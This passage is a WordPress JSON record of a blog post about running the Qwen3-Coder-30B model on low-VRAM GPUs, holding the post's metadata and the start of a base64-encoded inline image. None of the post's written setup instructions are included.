{"id":7559,"date":"2026-07-23T03:24:28","date_gmt":"2026-07-23T01:24:28","guid":{"rendered":"https:\/\/gespromar.com\/?p=7559"},"modified":"2026-07-23T03:24:28","modified_gmt":"2026-07-23T01:24:28","slug":"setup-qwen3-coder-30b-a3b-instruct-fp8-for-low-vram-6gb-8gb","status":"publish","type":"post","link":"https:\/\/gespromar.com\/index.php\/setup-qwen3-coder-30b-a3b-instruct-fp8-for-low-vram-6gb-8gb\/","title":{"rendered":"Setup Qwen3-Coder-30B-A3B-Instruct-FP8 For Low VRAM (6GB\/8GB)"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRsBHAABXRUJQVlA4ILRHAACwJAGdASr3AUYBPjEYiUOiIaEqp1OKoVAGCUh4Glm96oILtpcdZOMG2j3+l65+N\/cv7D8rvzL+bO2f6L8k\/lV94P8vwb+D\/5fmxdFf8X\/NfvT\/kPlz\/tP\/L\/o\/dT+eP93\/jf34+gf9YP9B\/gf3n\/yf0b\/3f\/Y\/vnvd\/vv\/D\/7v7HfAv+g\/33\/t\/3r\/ff\/\/5tf+L+2nvF\/yf\/C9gH+6\/17\/1+3h6qP7t+wb+4npqfuH8Lv9R\/4v7Y\/9H5Gv5z\/kv\/j\/v\/cA\/\/HqAf+fhn\/Tb5xfh\/yV\/vnT7+x\/9k+feuyyRPlf3s\/I\/3zjx4BH4t\/Nf7z+SH9t8DP1SJsvUa97PsX94\/u37rf4b43vxv+d6q+IF\/fP7h\/vPLK8i\/0D2Bv6J\/hv+L\/jfYw\/4v8f\/qPXT9Xf9b\/T\/Ar\/L\/6t\/tv79+Unzie0T9z\/ahEJDPyJxR\/PNmkXCdYTHsxI5U17TgPKKgi5F+74KymZ66TmJ1iFJE6I4xJ3dtXnp0C2a6QoFQNriItn0FLufmjSlzcAXs5c8gQ3iwhLNLjics\/Jk4rnD6rIUZO0nr\/sWXx4IX802D389DZwj9n\/MfplzRq3hxib6filanUP9pZQfzmSl5q4u81eYVNqM\/VlfBghAmgnQ2qR7v2aruXfSA2wQB2GVckRrl+Q2bAsD\/PIjlAir26yPXY+8TSt+NCWV73CySajgN\/UoXILR8BbK72ah+GEhMCiNs8roGkHoUXzXiwYrLZeFpfPIyUYnhIqcjyrdLLyZLiSzyZfxmDXau0y9ERYMTuj10ltpfCtYzWlJ9N6+zb1jBRqZbL4F\/Qmti0ECKG2FXpMsoBQWpiXgM1PS1wav+EMVngMqDFLUYmWjQOpGWF2V62VTY3XI2lTtm2AJGzLC6ssRSzoPSxAnHOuDrTMmB2kulDpBlKNPF716aXNPXIYF4T8IKV22MiHIOtt7qrtSryGfJv8emRHOAGLvRsOtdFwkdgbyCPCKUYNBgtRyzlVkXqIlfVepYvMQBOVy3Trnli9JF3JDAPeJhOiGQfANPgLt1VPFGNCp5hXy\/wPJgR9DrynBhrfEFIUJnCOCVHx2Dy5XdcrvtBwZsQ50TvzstXU7mL7\/lZX7uLiImRcK7Y0OV+Ho\/hQmxFAu4fTtkYePAD5wDsZBKhGGgbNBPXqX2+O+QKL2pMtDEVQKGTGNkda+79VB7hzLWUF\/PutQX3wZAobnHKA4DDe+7j8tilfajhNcJhBZsXU36+npnlI\/YCaf8+4661C9YnhZwkazQx3AVbB9M3hYnjxT5jlZp\/T+EDSBb+s3YlKRQD6UPRx0ReCLnPp5Xmm5OymSLjfJ3qwQBmDVD5G6oAjTOrkBrxKNIce5judi6s2i1n6QttMhBroTtcnkWq5vQ1GcPoOOFfMXo8qjnKYOqxL5q\/0\/9ti4PZR4aJDjJLLxh3bhFwieh8BoRpn2rR5Lh40yhbOn41GeOSX4FTxnKCeXN1XoInyT+KN9thnZrDmtpTBu3ennLX\/CuPcZmAdDGe2WWtw0gFLkUFHCfuozfFam5aC1rZwA76X9oGeOGIycYXOtzg1XUpQ0eND1j4KIS6dk2ePWQO\/JX9H0xNY7gy\/oziSmdrm09swPYmqsPdm0zzAp1nSt2+BdO67S0fO2j00n8N0suRdh96M7aXOJh4df0uSDqE42zEcIPazdX7tVaEGWf+ZYupTEZKxFz4u+zJNZ0edBpuZL7VddG8voQ7397rZ\/sQ9CD\/CUXcHXVvSgjmPtvHoYIVnTA8St7dWhEyVGbAyCj8OsFCCQKzi7FDw6pazh1HNEiXJ+5osry8j5ulSjNyNFBG6lG4yDJ\/B1\/t73r6uL73McYJeElbNmZJFgLzrsNm\/4WxVEjvCFVlqo8\/d6B0QqgFNlGwYVMxIVy8dufna7LTFoLSO+IPEeXG00pt\/65kyopj7yv\/Vs7p2NTDJC502hvidrDKjNv8SnsqlnFO0fnGWCkyv\/Fdm45N5Xbjwcf31BDie79jmiIfCpfdDB0uDXy+WQu0FDEDCND3aZ\/T485fazS1YrH9TjfV9UtJ3qVg1cbO7kqRnGH+4JQCNgV4pjuFJ89VdRCSeKWDV+JfyCvd3N24xxaAnNhOt\/AKVKvbzCm1xhE4VKZURa9Q\/7P21mf7kAqK+XvfprAt1JPlj5ieP1m43pFbgKvrf48B5VnZQ74Kejx2TX\/CNp0LS26rxBpA9IKsxKUsp0ONul3MC\/4X9oFkc2zptRUDXQdXHpfL+s2JmrqGOhNnfiFUk5EXj6Q6DYqaqVOyr9JHWCcnVNCfBbSyisLyc4fzW1z0+fSZnPYVmVMCXaBEhypC7WoN24tn7Pj8bcZyEduzNyaGH4PY25zydwR5HntYfHMlOGmeUahNJZSzwZu62erLIr0rbUWeGHdTbMOvpTK+ZVOgSdAGkBKA\/c1f5+RC+3xfewKEJqjhToJLvem4LVpcAOP3MFy6sSoFRGb1pLTq2jABCRgjYixnV\/yllrFaoB0qXcfBUvNI2Ngjp+kdK0GOMj4mRrF0i7CjuoUWW9BwDRn+Q4rkRbrW\/pyLrnzNyh+JHVs3Uvk5BHrLVHmZqDNbe1qNEZJ1PuhJ8NVN5SU5el8jI4sJ8NaY5lQ5zzXMd3RPp39bJGe9fuFwPLZ7O4BkjNmzEyR4zm2jJPXtiJEuYf1daQC2RAUIpXTLO1qF5yoJyLLdnTCUzDWybOLkaLruIZskPFDZhNRDH6txuwjHjfTrl3\/sFvQD9l+Kx3dTQRWFPIe46HTkXEkZevXZBqQiTaTxNW4s5Gm6BFnEqJDD1FqNxbbDcuz\/gqT22oGE\/\/gtucC\/jgsSwRKskt6hH80SeguCBozJVL5crUX+MIx0uMK0JZWOiJPgySxNaNtqA5RA07\/bjkHt7dV8CcnuQj\/36cdINXJeatYmFg5o+87734gI2l3VZ2+bnT0sp8PRSLCNDW8kLxy7+rmp8NvJcl15QQHxuQIxkHioNX804qeNcNFtFbIxpeGUL+6pY2LcBz49PqLA1QaViZPu\/3Nqrsngy+2CZo\/1bHf1CaS3D9NlnYLXkwWW6xqtzwIhC4nr1PddKf\/B\/QpFo\/fOTHWJ8GfESknRiJLm2kAIsZcUYPGu6\/z3quJwnhsdsAP7+hYosdbzUa3QLBftqq2ujd4AeMTBocrPGP3+ZfWsnSONaWW9Xat4KEMQM+7d8FNlT+uE0K+aPEFhrgYr8pG6JFM61sMIbUmdN4pWfosaOIquSFJV\/zwbSFZrH7GxYQSgJYcI8rBVxZA5I9nI1a4xEYxhw6Ub5Du9OfP37\/W9EHB11P1ffWVv9WPCazosUhms48Z74hy1skFe2MjUaUo9B1SRdkKHb28g3shsFIfJhmaC2RktwRMAFKoxeW4tZauP+j283zMvYZ34uZjHVPraswPrRwNGMD0LVYqsAOiSctqZK7W+XCkJQu5ERgBNaw\/2gtLkHyfIeO\/0ZucN4Q1JOiBcQH3llysrCrA7R0eTZLyj2Ol4kmhLf8G\/1yTXk712B2wwdG0GRa+SWkCnTEGom4RaNVVyR38Su9wa63cDnFL+vzc89Mggsd6B8ULxw90E3eeSJUPluWxt1BHn2iJnkRAwWHexRhsTMtaJ1MxTFuX8x27m0thIYVForWUyNyEZVUfZ123mmGX3Et2HkWqLC+EXAX2hAab7O6wSK9tqEqQS9TtlpIHn4\/HwfedB1I\/T5NU5ulhgIW+YFFUWKCoUFsTuN2pv16R3vobLmwhdZolbB7VNSmKx3qjzjmA3MyjCpNgvMu4TmZfxZ3Ji3f+BlOumu5IUVCXc7oUVyONpRmKkGmXiMmRpn39xtZp5cn4W2X0WC9\/PFzJri4\/OpXEKcdrf7kl\/ij7uHLlyEmzCuU\/8dMbVGK7JGHdFusmHZ3uM4Jk+v9JYQ1RUIWuQw81KVZJvWHRvRZbvzLrImCIMoMWnx6hlaTtxH2iUyvjuvEDZGOMmx\/m7wK9IoPLgcROjUoaP9aH6aYoM3HRLTC72b7FwJEHUfsStG0lAM+ZxYlf0rue132ulsNjZSGXFYhw317A5wn3Wh59iBPmZs4CbfACV4E5MqpC1v3BKZRIz1Ry1wlIsthy6jO6OpXtjCWMzvigmVzoBkcw7w1jJYBRDxBHBWt7MjPzFuDH\/0OEs9XCcpz2USiFw60ReeeEKnDQoSEnqftlDCWRvZf4LYbo8851dXlwEtI\/7ZdkW8YNwgRTtGbuiVOj1oK6NKEF4A4KxlrKI5u4Hs\/aYkQUAU\/xryOaIPLlueCR+tSx1CjEMCCpgkvy79pHQ5yl0r\/DkY3lWpC2d8rGnZTYxceiq1aaLCUKV2tXLwMJ8GmOeylMCDZj82SoXcu5qZEI+j5MorXXz6MtWM9FeoISOIwvNk6LQbbw3GSFGqL\/O08ghqFGPND+2Op5qkOAzwclM8CzbjcW9xhHe2iTXwlcjnwlsrmXUJ7VeCfBtvqPi5umhIS5EMBIxbm3gQVrb5KPI66j6lG\/mdJsmQ11G4\/Dje8J7OA9p9o0pFQl5tAwmPGm02T45JAB70QTPkkuflvm+mQzwz\/aG\/FndoqF3dnzBzV7cIuHLcL5DeeNo+mX3dDSsFTazUwilzbf+Po30Te66jd2vJM6ZZ7d4uDOf4azNpCxsV5SZktIDypnbHGuD2jBsQmgx\/\/D5MYYOciFhoccF74MP9O8CpufMb971QfBZ8rgCL8YPWnd82gmErBUobc1P7uvTOjlBHrDtbjvr+6awmB1r1Z2XUIGq8Wqv6xAgum107qNmf0Gme0czH7cVexo5PS9oraUWSc4DRUFpOsbrN3woIi5WmopNYQrC6OBd9jme0gK7uGmHdsjy+AwU+l8fyHRr\/NPYhn6Eygs54Sxug5+THUvoO4PV5Y6+vOELCpQMN6ZSHuVeW3Q7gh\/Rm5k81jCI8pwRoxJe4AxTu867SqT9i6JwZT+mAuU7q9n2aCo8CEwD1wUY+50d2VdW2A2SD4GVFHkDy43VKvJhSP1O2LlkF+9KRiuu8z190hQ+TBM8YLbk4uhlX0aoOTrESQdBa7ngu8flBmnV2FG5ZagZtbPPFG4xoWwbTpqRN58A2eXTxhm\/pXDB35da1VpuQSpdVe+TOSeomsuQQoa6jKqonqN20aC+mZnFoz3zKxGahXo530apDyV2oQqcRgz2ot7PrdbtIHBvZ9BHPgSgFVILiT0DIgzKGBvl\/+SGJpIUn8FRzXWGLo5\/DYAwRdXFXiaGrVNFHsM04gcqhkYLQah5wRsrWrL0+TpigSdFh6Ynd8hVw1Vhy2OuBz92uBb57fdRfnHp+JO0dNY2mZLFL5qs3ZPqseBEBr\/WO1pRZt9nPVL\/enqVKOD+n0+bWwsqxy8X8Zl0F\/3Jgt216pbdidqNh\/2Kqu9\/8Oyg5Chnhn4KcIuYU6xOABkiYkIGD3Ihlt5he8w168TjBVCrnh+4UXQ50J4r+CsmLoaXDaFFpMeiKFKPGWzV+2htKegRTeoAMCXnE+V90nx5ki2wi9qcHFydAHNPt49BsjOyX+kGLkaTFT9V4fARnJdRGkSEkdnw66SnAjkuXpufd7Aqp0sj82CA0Hejr01dpx0S\/23nYK1ybOFwpJxsA4Y9gd5sJK\/Yq0m5OO5HPnEKVnGVV2OiDcXGWUtCH5tpsIYSZIrh6zG7G1umNaN60hBakow1ouj2kPJ03Z280AoAeVvgC8YIENtfME9dbJr83xTOmVTIPZk6utrHe01Pw2wMuiXCxn0dXlZqniWHw7W5cKPrKyRJLc\/C9PktLqGgp8As5uqb3\/5908XHQ+Py5XlbaVApt8+96mpowxcq+Jpm4\/r1Svz5YllKidk4tczaIoZ4YwU1jvPWa80bF48hN07zWdd4oRuob9ELwqIV6\/4OzVrya7dkEKgKfvOiFrjBWJ9I74dLJCGmUlISHFiwOI38FvJQEWws5qWPCIo7mxCBgeIivhYNdReodxU6fYQNVUDjSv3JwU7gGk5wIEdUAFOv8sgyB8NjJ+kWf81O6w5N5sVWMgsCHe4IOUxFuKhF+BJB8sNNSSNls1G7YABslW88OXnD7Q8mWbVIDs5Jo1ZiD9+7rlkyEsKZOz\/ashZ\/PzsAG9+TF1IxYBBXWUAEoVrx9cjm4XBE4fevknamjVXKJFGJFuOHDVwE1u5nJgCrvyQOso9hFjIS4Xbhhs7kWs4OhsmVjA9AYV\/xaticC6BxzrQv7QL9i43y1oSGn4KgVMwoRC9TVgmGE+RC+yDN\/WjW1zC7Sm5DA2Rydjhp3Vy0jdQKDsGQ4lBSCAuWLL4LYT4uzU7hcr6YyfHrZA1IXL2uajfEpimrq7vWvzenb4rMIMKGjuxhknzSVjim3ty6fiEsZobaOczdj7p5CVM3fIBiWje5QFOPdJYAmTU+MU5qLrt2Ytq+JSNg\/Cq01oKsa7\/gLDwBF8U2dso2IXq67GuZWZ+3CsFbAc\/Q9UBGYkSp5RHXzntLdoyMJluWxewrnjwOnmjRzd0k0Re7O7bRP49HlV65eanF1Vbr+m+x1rWYF+MqlWtvo0u0kLgiAulynHlcJe3CNePLvdIMmLrzG90qyqz9+ih5t+QpInW9zfs5oqOkEKZTiimkdtc6H9s3X8twYJi9FFV7YRhg0flGsSiE8cq0h0IafOWyvdzO4ub5SfF88WNZPGw\/ay5DHV3zZI8VKKXNl4B3N5TWz9nS9KPLKPbyTG2IAQVJAsdFRMgWQXRrWKVOBBjAdMLfqLAl\/dS5kiVowcbu\/Wa7FTES4vm50pA9nO9j7+EWVVuyQGE8ssSV1nMtE40MnxL\/+CSTJQyRD3g0aXwUvxltrjJOLnTOFPqX0AR3ywXZMIMov+rNWVMAVCigry3T9ipB5jUp1hUtOFuPBmh+q+iDGyJr04yqFq4nKYDc5PJheMamfQ+TOSevmXT4AZUgpOuYTcyLSfTHyzVA17v+3ktIyviBBjK7RuumPDAqPVnEnpvIsDmlXJ4kTxSsrQC7iUwLzAXLOtODXQNsoZ41fDQF6QFGF\/b2XRdIpUCDZYVilFEuRJ6GtLlZ6+W5agoEBVLZ1WuJTT95+h26ffNaIcETe\/USH13YwThseB08AGzrHVz6GqfLsf1c0AuGXinDh9CBnlOaewhfwVVsWPIXXv40NgbaSBsa8YdydYyj6mSCQkpwdv8sbs64v0864zgtZw\/ZScX86clP4wtfWKBbWMhOP5JVAa0arpD9f3xwrqsu5tEFuf\/SRrZGPLSny6OReVsUZODi0IK8QrijygmABb3cunbPqkz6e5ICLwCTPKo54j2ZHnGG5IvyaAO7f3eNDhsaqP3EDJCQkgXJpY77vWt2DPqiazUfDlNEc4V1CFdewt3ePV5mZjz4zzTR1zNFtJrEChP4tTmGgW7cvcd3\/azAzzT0QUKQJgSU6IATZh2hxbZouvzj0I+F\/K5R7MMCaqCuTezArtod8w5BzjSvADdNY6NdFPZ7rQQ+\/6dT2+lQqooihlLfQYf1bVu27CkavWGHrQV9dDe3nR67BZvM\/OQQOD0Ntj6HqkWVhBWXIyOIRbHY5tfV8ueaIAW0UoWdJO6nY+ApSlPf2NAIAlhoxtKk9NcCCQDPrTSV1jS2C4Nwuqz7JcMlgqrYNb5FjB5dm4uoOG6o5shAlQeJjNF2FFpZuziLKx3akccY8MtkjZofhL+5keI\/M12zW9rDP+XwWqq2UZNEZx6smctCIiBxcJuE9tldtW6wuwwEUNY8sO33VLgPgb0MRZGJe+Rnk+h1i7QDkNM3YRqQUs9LlcK9hIfgP3HcoRMAEZUTA0sqZLH293rht\/pkLX0vG3ax89i9WylTj8nuLACplhOOAdzKYMxaUA3pbAH+6t\/iySDxps4UzpACeu5BttU0DybU2Njsk5vFc2CVy8BVdijkU5sDn3mCSZnLzG6TvZi5tp10io7Gbg1SeauSac6UwTobXDo\/L4aOCfyQ1663WxU7CcYstML9XnL39NH0pRpVIcqfNgmIVCZecdP\/4zf8X7SyguvT8gOrplN0tjlitnhbvuTaRucMD6yOd6\/gzKhiasy3IcfwpwGNGBXE5ay3754O\/GQTTZj9nuOssH4mKr1hQOtkXdwgKsSwNmvez4dBJr4Zs6MDizJEUaGIg+nH6mdanZBaHBDq+oN3tjqRrDnyJFA8o6LYZ1zmHv6Ag0hhxNV2s0tj9\/6dLpck2Hk0omo3nK2HiMr4DgQQ5M28UBH8DLT5oK0Gy0SMCpLzMer\/HR2a1B9l7QledJM1tPw2DsMiYNs483JS7bp\/eQ9poiQti9EUyZBzx\/x9URm6POo0i0tdeHDD8z6KOVDWU+oWc8h3FfP2PwWxFYcYK4\/auDFovSwHE2H\/HDVlMti+lte9NSM2PUwMaziZLh1s4xMtTsaCbyJddw\/kDDcKAZr3kNlV3\/QVoeGCZZJekvKlEgYHxHtdTgD6pttKzIy0kdcMxuxM2ZI7li4Vuv1Y1KikSai9e0GSv13iWo0gCVHIAMwUmZfqylpft0hlNMk6z8v9v\/Id\/Qzs3Fugtg4M1OuEXG\/u7eM+O7wjD2pUTNNCLQTcZsOryo0DB6GDXuqtzkZ5mYlM7B9k61WsggnUljrmrXeHnYq6tEoTTCNy8hIEhVdi0VC70ZbC6dWhCAKuCRuxLUOleVXhya1ZbE4NLWm9UJG2lXtevIpxumeKBgWkbQ+kaWq08GNfNP361h1oj2tco3yzH2XgkhHBVeN0yMjqOw4i2XBUXU00M66Rv\/qjwrmU3dwJ3cG2IpqB8G\/FiMhmhHiLFX8AeRnJMQlsfU03U4Wqb9nUfptBOigORIG07Od2FxoxzVWnUVy938z6uXFI2DL3f6fgtqB9K7mmguhdBhO9N3IRfd3HemTetKqjoJa0N2mNiwcuBVYkUpG9QorJKpVdjTWrcuLbeclJqkmaj4vTsgJ0MAyLTPZ4rGNekiDaPuhlpVERPlZDi\/eqr\/vKNGltTCxuT9mW3JslhO\/mockgk4m6xt224UvLS4arA0fKCxJb4C8jin\/OQzu8fEllF8bzlqiQGtiXvJlys\/62NdnOZ+7qIsTEr6es30E6UOiUMFJbGbk1TZqxdGh6pa7MmKIPmApbdaeYM4l9UY+BEzIIYZP7Rog9cUFdxELjXGVvA5cAOkBYSd3\/lLy60DzNMKYIm8I8ezlF39X3sRO5++aWPl4cDDM5I4imcXUNz9MlrRI21XNW+AO2P+jiMn8STYV1luQJ0dR7hZs5Hqgk4UwKfJvuZa8lqkMooa3qjLobCxpq7o7NlAvOqWQit0Ou2kx\/VsuvJE3EkSSVTbnwgH\/yDUbL2PCvuJVRYTn7McoPJ9MMkR2nsanNcC02iU5DxYLpy7UWZdjO2jpYc3ywuyEcSOA1tDGM3gO\/l5G4DFvjcaegBzp6M4mRmp2lUdqx52z4YMd\/MNFr5r\/EBFOTKodDWn3ymZev+qV8KZvZlzY4hPMO5Q2AKz4Ci0BngRXY+9WATuv+RnqqVpfZcszIpcl0vxOhCa5aCPFBDrtpDcwXD04DZeJkqA7vSdWicgCeeYkp3PC3YdTpqXSxTWT1K9ttXcqogtfBAGv7OaSquJeD4J1VC57QNQRSSHrPdYL74V+DpYOVzo9n8dxq4mHFtE02k\/UeGLVhhvPT63dOkctKs73yy4HmBRAqRIbeTO+vPqCen9ncSs3\/bgJPqxb6eVCZhaq6aHv\/F9LFonfdDc2z3W\/VtKvNDcKzWpvW+v84aAD5Ib6Ih+NBqme9UaXzXM9cTYUY59BDMMUaSfkuCoY\/RmWKolJXIBVQxKnCWLqUt0NMwYB8l+B2boSyPeS5tKZQoHHXpq+5TRfDfxLyFPAwHn5WTqrZ33E7F\/+imnGi31xBZtk\/bozJ+F7I7xljoIq0xNyw8PCW6AuFpqMd8RKeSib4x4nxJA5Tvk1S+3fEuUgdOL+BNehxb5RjZhr6ovdcBy8xTykvY+QxXsp\/jGzdE8uRDIx+1whdOMznUUpMp8oDLjF9LWW8UU9JqsBhevsLDuEp5xNkAgcO+XCeuqsHDqoyYMPWtf0jUdOtsxq5dNrt8XRYqgzEACJfVt6pE7GB9+5mDwoZRhMrChJV1\/3CXLHt0qEXlNZxY60AIK2Wa+\/9j3h6cxAjS+fM\/a0G3DqUsYDl\/Y9i8Ubdqa7fpyVsF2lPzwE7CUocA+OAOaJGXH4fzNboY1NiDhGpFr7Jtn\/6\/ssMAY+MpCH6sfafG+Jk+RAdI3MYWV7wm91r4wm0+S+wxK6ccqgOrY7tQWft\/hWuaXfoMJreahlPQGc1SEYOw+CyswfbKuc\/IJDjMlSmufQzvBpikdlkMwtmywgXPBgN3M0Lq\/Wzw\/MC5KKamvT5+i1i3Nzlw3ub2Jnv\/sSnqpW7pOVzPTawaVgUCZrBeALD2ajMJZE5pOI3KUp8SNzzsceUifAZ5WL1iMxrYngTNKQzFtHfrabgg\/YpB7wODf36dFlrjspAL0hghlASn7k+JsRFk4c567XRXPJCpT7kS\/3knQrsoPFWbk7LnBOWAMXDPtB+MuM+BCvEyBN\/0mPrX\/Q2lHkV0ruksmnwhhyOixuwpxadtiqRln6dmEohUwVxMR3MIo\/LDWUDtelV96mT\/lyqsmaC8uHxkYbZag2h6Pqz94AUpE4X4JoYD1kSis3FAeeIG+ceDtnfcTsYEOfqlQtkSm9GouqElCH2vH8G7qRXO\/oONdPRc33d4HT7xFT1REel+MgxaI6d\/RF1fhZLIk9k74nLmQJef6+r0ybp6IHR6BwCOjRKnDAgyvwvZHhFYIcaaaQLyFOQNjvB\/BYYzVaOiKDTte7oI5I6QWKdcLm7mPPpQFzq2DoEpaH8Y1RNcDn0hw7OQIwTtRcYWcIlrYAfGFHZvLPnQPj2OKluHf0NJT4sStPAQtflTV7\/VI1toYHYaSdro5RmJe73\/TwIsEnpLGBdydJDhUeZcETX5\/syVA4VU7YwDh6nOvWjlNDWlSVjBj7xGxsdGAwdBZGTyARekVSgfMP2p0NetiIbW+aV3Kn3OzEsauLrowWr4roJc4qz2YvK6lK2E0Qh2OcG+qp\/Kx7aw7icilhfl9xUQvYGy89c0JmHVZJXD0t+tJRlgDlsKpGR+2yZHbPjq5h2O3gI+aMe8qfKUB1W8aBr3HnGb6VH+kxNNo7wk+8xkv3AOAMdWAVNOTZ9pE37aeUp4im1vfEnMNOjggscRONNe\/8u4\/ztVyi\/hfIm+U2+LkYnb+g4Kqj0tvioATKTD7EuSZH5jnxYSq\/VnuzRtVDVclkVPA4awBU2Us7mY1kkpCDeN7GfnxAxzF3l6\/WRFSANL3a1g52pF\/6uYHcDLuJnx66ev4+6le5UMAb9yu7OBbWBHWVbPvb7ecvDy5h85QjYFKkWPyyaDIi\/FK+\/5Oiz1+HC0EbqVjmF6ySz\/Y6wnch+SLYtU71ebGOiNEMHsiZIRmpql1ITR5JvSl0m9ihkIAnOVAU\/h4psanBTR6XpDniFmEbIHm8Uxtbu\/RuFvs5vThDXDgl1fwgImRHm03kPO2atT64U1pFgQPPzxs3CvwPUwlZjcVPYdJEQoXvLN9W499ZgYTtfSDRr\/R4pEPSPiPJlmzDqBOdbL3pwkSCgIVJgVVfgEcOP\/DUgdlSoOTFWUKcv8ongwa0eMaompuy\/EjZFOOGowxrJPIeoGrO98SzVhgFGenAehOVbS0RkNNj9YN1TfFXLbqqZi\/Jvnk\/uzdVhVZnKDJRoFkl3HNWon4aVE8tr+G6QTZ6c3oQLFKuFZZlk0AxkM8UaYLMBXpjnZFnmc3yDR+Hfck\/\/gBXERBA3JGtPfqRQCDrGK7Xjk4xOTRIDwidWCP1E2MoJ0SRiDPkjSNaYcUOoe62FkP77OToqjLOQKQgBblDMZcyxCOLXBLt9\/ElylAJQahuGnQ+WycheavNVGJfQU\/6sgFYYFiTl92ylgoZWeIWGO0nVzRrzHUF+zyi2n3i+skYkWfwtRpv2CNI1ZxxIwqtEvMZ3l1opX2tXKwM1ChbdLKiDvd9m+E9toMaxj\/uMZkVmlIjUR14tlac\/QynohznD7NWJLPZwEt+F3FNPDD460M21rWV6SEYosohtCmysTdJ\/\/iUZKHITjDOKIz5LvLigSzOnczA2vKa8UOV6UrYJa4w\/IkQET8p11J9JD+xFQksZNHjv\/3vOEosz7n\/9brzO\/+GmMa1Kx3yzZM7mu6qwv2M5XBJCFklccmZGfEZjRY69yvskbR5UWaxKZyLbM52ej2a3OXT+7Ce+bDzfW1t13d+sUQ21FvtzpOmJyjyyhLKphcBMICBc0hXa32gSXDFCuCMtozNFw\/k10vpOwakpU1NnrMyT6TLnAAGMmbh6FBCVHiOvD5HiMhHICINrd6d64XoSRyBCKt2JsmlOmuGW4mkFffmMcKo8+xD6ccb4Cj\/BnmLUyzUPmFuKIstkMuPJ1ZEu62hY5tODEFIPwuzLbX0Eru1rdbz0e52jrN7gZHSgX5Yvj8uL\/6PfKmQuIUoMEKq9HNCkcvL9aseTMRgNgN6pNuuhJumGW5IDqS1SZN1LVlwokX\/aXF3U+m30PugHqgguMZD9MuX2dP1Xa6UXSfCZdKXW6td45gxICjl9ca7mkRuTzklt9EMEBwcEDGx1mSC78KEsuif4e5eramXvyacd0t7UkuhCWhDMeZTk7Sis7llvlmV4QYvKrazdAxJv5te0kUMHVUeYPJteKdp6JEysJhTj3Vxu4vyxr4FhTBB2C7G1CtiKglWbWRdoolZ4wA5pb+Pj4HohZqYLQ+s5Zuk2Wrj6aLJ6uoCJN2+wjfJJY3TZERkVGTAz4NO2c93890qPcOPfJSCT5880H4XdWRLs68T5XMD+8kUuxmgJFgjtpYFxIjyVpP33lHxt\/n+\/5RMjxydE8WSRxqRrSfzkfUT4vsRpb9u5Meh68nSNFzYcpcmRndk9+lVFVrrtFR4ODXoQWHNi1x1Iu+eIHfyB6lTVgtEZhfBmrIGjIky5uR3vT3O854Li16gMkLr8arg36umFHxyqC1LPD59YZIfZWgmBOOCk+kgIQg4nlfYhdyU\/FeO7bopBFArk6I7EQ2i0MxnMZzxnmdBnQgh6cjdttEAtadomcOQogqH3G6uH7xubTxllTTun4NvN0gY6dcopdyu\/mZ9lrpNLfEadaxWZDJ3GS\/\/avmKlOUUQOyS7NRNrRkqQbBsAGVBnb22tloamjNwVe4YmnEgB8GS90Aqz3Zy1EVPUrfGqzz\/UJcCt1\/LJi1YQFhl8JyW9pXI3HUr1Rp34wAi5ZPwSfIvRi3WNYctglDMSfyaoSXARABfVdRAgomSt9bh\/R2alxJgjz5Ghr7BPWbWZ5ggILseGankUL4W70r\/QiKz6ASYfH24TaH2MGEFvwoqUHd2gryFiBMr3w\/O2576GRnIBUT8OL40\/XLCcZJqs7Rsa2h2rOjbB+aPLllJRS5nFkj9KAeJvfW0tCdUEEP3zftuelpMWUlmOjQMOO2LZOyX04Aapjfj26kfV0k\/sg5G3ZEWXCf9Q588eukbXYll0vf6IFJV\/x3IpSXLeD6hSNm50aj4aeflKYoLUxpXvs7Dq160ZG9zJjow\/AYmc2OPdaFGTDWHRqiPMLJb25KyTg+ZfBE3\/dKZKWMyhazgA5w3xtLQkBKcLY15bLGKYN3fhQBWZkn2vhaCYJlkPYjvOPukClwwhE2g1Nd6zveV0RuCM4VJcDTKL3MinL+ntkaBYWS15kH6o8qFHk5N5Vi0b3\/g8R38hYjXiOaDv03FN\/1FiBReL4ffjzj9fRdqP5Ojn59gfBhWDrA0AvRwfKYdLJ31HWn7X0ofZCbi2OlEIXhKPJJyWZO+JgoZt4b\/fnTMhqthgdD35bxcFIStTxAq9TbCzrLEB+ic7xHsJ7T6jRuR9MEPcPY5WcH\/LLNVaiAeyNMhs409ZFBz0grcKYBlR7rQeDIIBRx+ugfxGfCQAfleseZMqKgVyrLAxHg\/+w6B7SHwFcBSYVCoUwVEB68LM\/TK34YJE3PeM47s1bCUvUegYnqTGh6DteawOYlsPX4+mSwrQR\/vh3MpyRVScVanjMIo3wnUAN7AiGnB0YZPRfxq4rDqF+Ppv51zjbgJ\/SBPbxDQHLpECrzXbCYA9ddVKdTgEUxElyywuP3w7nyCDQiTInfxl37SCzXnUd2pPFY8VMcF4qA69++XBiePGWbXEP1QAP9\/NanKBMQTq16F221YOInnScMo2kAdq34EGn2qMVzfhIkXHoHe0xRXXNYLVhAnBwF7Z4esHeNaxz0sPHE+Hra2fSwkOQB7ZYZvTx60JPuENLubGaDY5brNUL+0s1QTTpZdW2DB9e6LksbDMtVmx9dg1cjd8RuNa+xwuI9J9yjFibvLv9mLzEXcU7wf5GC+Zhf4CfJ5fje\/3uyIJ9dEq1GFsy+S4q9U83giULeneXYt4aqmjv+bt0+9WvdRGRuo0qH1xH+mslfGqwm95G2JJDI9M9IDHZXwaEFdTyJGgIkRWxsama\/OA2nFe\/0NtLG48Yf7\/s+Uj5RLJTDPi5YpBMPe0+N8ltBVMwxIi6hVlcCz5eroXSrfVvAVEWpxfXJjhdn4E2+xpXOcKeIOuX5bA905Sus1rQ+JMX5Oa\/Fydp3evAcjK7BvKtIFfUgKMf18TZ8LC1lBuDZcKFhXf76qWmYbesqGGHPCresd5udBX\/lOTD0+neGSFGhy0pIc7iUVSwskoNe2vJbSaGUtlbq7dDz6qgOFrO6bnm3Bw0SXCNQ14NufBbEmU6cQLkx1FWH7TEAZtOQdOrYgHzutQz+9Yd7gT72KmdZYIZhpcm3HiBeBf0r6B3OeAQ0w1uN9i3Ejk3+V9mUuwUn0cyK5plSWWo\/wAdPSsdEk4+kZKDTjCutIsZzrmciDlaLnKJrR0ziUyUwt05\/1T1WhmpjYzdiFoNsnfkyjSXO6\/os1vdiPLi3cXZl46E\/zoylH8Znih8N5Rxayn1lg3ClOjgwipddy+IhXjUKT8Rd5JF1tHw0tEt8nXR3viVxuMi6ftjCPLehRLwZD2APzCM\/UnQW+Rtc+XdcZ0hYxq3xB+AY5iE6c6+XRJmcJIDax2VW7Iq5ImU3